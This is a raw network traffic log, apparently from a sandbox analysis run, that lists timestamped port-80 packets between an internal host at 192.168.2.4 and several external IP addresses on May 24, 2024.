May 24, 2024 09:42:06.011584997 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.011593103 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.011619091 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.011651993 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.011672020 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.011681080 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.011682034 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.011717081 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.011748075 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.011763096 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.011780024 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.011782885 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.011806011 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.011812925 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.011846066 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.011864901 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.011881113 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.011910915 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.011918068 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.011925936 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.011949062 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.011969090 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.011982918 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.017256975 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.017319918 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.023677111 CEST	80	49757	146.70.56.165	192.168.2.4
May 24, 2024 09:42:06.023739100 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.023772001 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.023799896 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.023832083 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.023832083 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.023854017 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.023854017 CEST	49757	80	192.168.2.4	146.70.56.165
May 24, 2024 09:42:06.023885965 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.023919106 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.024043083 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.024111986 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.024111986 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.024111986 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.024187088 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.024346113 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.024410009 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.024473906 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.024506092 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.024518013 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.024669886 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.024717093 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.024732113 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.024732113 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.024750948 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.024765015 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.024934053 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.025145054 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.025180101 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.025213003 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.025237083 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.025244951 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.025259018 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.025278091 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.025280952 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.025316954 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.025785923 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.025818110 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.025846004 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.025846958 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.025866032 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.025880098 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.025901079 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.025937080 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.033225060 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.033293009 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.050163031 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.050199032 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.050256968 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.050332069 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.050389051 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.050555944 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.050589085 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.050618887 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.050621033 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.050641060 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.050652981 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.050662041 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.050698042 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.050936937 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.050992966 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.051059961 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.051094055 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.051116943 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.051140070 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.051183939 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.051233053 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.051269054 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.051300049 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.051541090 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.051575899 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.051603079 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.051606894 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.051624060 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.051651955 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.051897049 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.051929951 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.051960945 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.051980972 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.051992893 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052005053 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.052025080 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052057028 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.052057028 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052066088 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.052089930 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052098989 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.052459002 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.052761078 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052793980 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052819014 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.052825928 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052829981 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.052856922 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052862883 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.052887917 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052898884 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.052921057 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052932978 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.052953959 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.052972078 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.053004026 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.053653955 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.053685904 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.053704023 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.053715944 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.053721905 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.053749084 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.053757906 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.053780079 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.053793907 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.053812027 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.053822994 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.053843975 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.053853989 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.053883076 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.054882050 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.055030107 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.083765984 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.083816051 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.083870888 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.083904982 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.083925962 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.083925962 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.083925962 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.083952904 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.084211111 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.084245920 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.084260941 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.084290981 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.084541082 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.084575891 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.084600925 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.084606886 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.084619999 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.084639072 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.084660053 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.084670067 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.084678888 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.084702969 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.084721088 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.084753990 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.085155010 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.085216999 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.085472107 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.085505009 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.085561037 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.085783958 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.085817099 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.085841894 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.085848093 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.085860014 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.085880041 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.085896015 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.085928917 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.086275101 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.086307049 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.086333036 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.086338043 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.086353064 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.086370945 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.086394072 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.086401939 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.086412907 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.086433887 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.086457014 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.086466074 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.086472988 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.086599112 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.087130070 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.087162971 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.087193966 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.087224960 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.087240934 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.087240934 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.087256908 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.087266922 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.087289095 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.087299109 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.087321043 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.087326050 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.087352991 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.087361097 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.087403059 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.088151932 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.088186026 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.088200092 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.088217020 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.088229895 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.088258982 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.088272095 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.088304996 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.088349104 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.088776112 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.088821888 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.088946104 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.088979006 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.088989973 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.089009047 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.089014053 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.089040041 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.089044094 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.089068890 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.089083910 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.089101076 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.089117050 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.089133978 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.089138031 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.089164019 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.089168072 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.089199066 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.089915991 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.089947939 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.089978933 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.090003014 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.090003014 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.090013027 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.090034008 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.090049028 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.090435982 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.090468884 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.090498924 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.090506077 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.090517998 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.090550900 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.090562105 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.090584040 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.090631008 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.091984987 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.092020988 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.092036009 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.092072010 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.092950106 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.092983007 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.092999935 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.093019962 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.095441103 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.095474005 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.095493078 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.095505953 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.095515966 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.095545053 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.095571041 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.095602989 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.095649004 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.095736980 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.095782995 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.095915079 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.095947027 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.095962048 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.095978022 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.095985889 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.096009970 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.096019983 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.096041918 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.096051931 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.096075058 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.096095085 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.096107006 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.096116066 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.096146107 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.096714020 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.096746922 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.096767902 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.096777916 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.096786976 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.096818924 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.097050905 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.097084045 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.097095966 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.097114086 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.097124100 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.097155094 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.097172022 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.097203016 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.097215891 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.097242117 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.097661972 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.097709894 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.097718000 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.097764015 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.097791910 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.097898006 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.097950935 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.098001957 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.098468065 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.098514080 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.098656893 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.098690033 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.098706007 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.098731995 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.100919008 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.100951910 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:06.100960970 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.101125956 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:06.108551025 CEST	80	49752	45.130.41.108	192.168.2.4
May 24, 2024 09:42:06.108583927 CEST	80	49752	45.130.41.108	192.168.2.4
May 24, 2024 09:42:06.108649015 CEST	49752	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:06.108649969 CEST	49752	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:06.108908892 CEST	49752	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:06.109255075 CEST	49759	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:06.112757921 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.112786055 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.112831116 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.112831116 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.113070011 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.113101959 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.113115072 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.113133907 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.113138914 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.113164902 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.113171101 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.113207102 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.113395929 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.113444090 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.113590956 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.113621950 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.113634109 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.113652945 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.113656998 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.113686085 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.113699913 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.113718033 CEST	80	49736	91.202.233.232	192.168.2.4
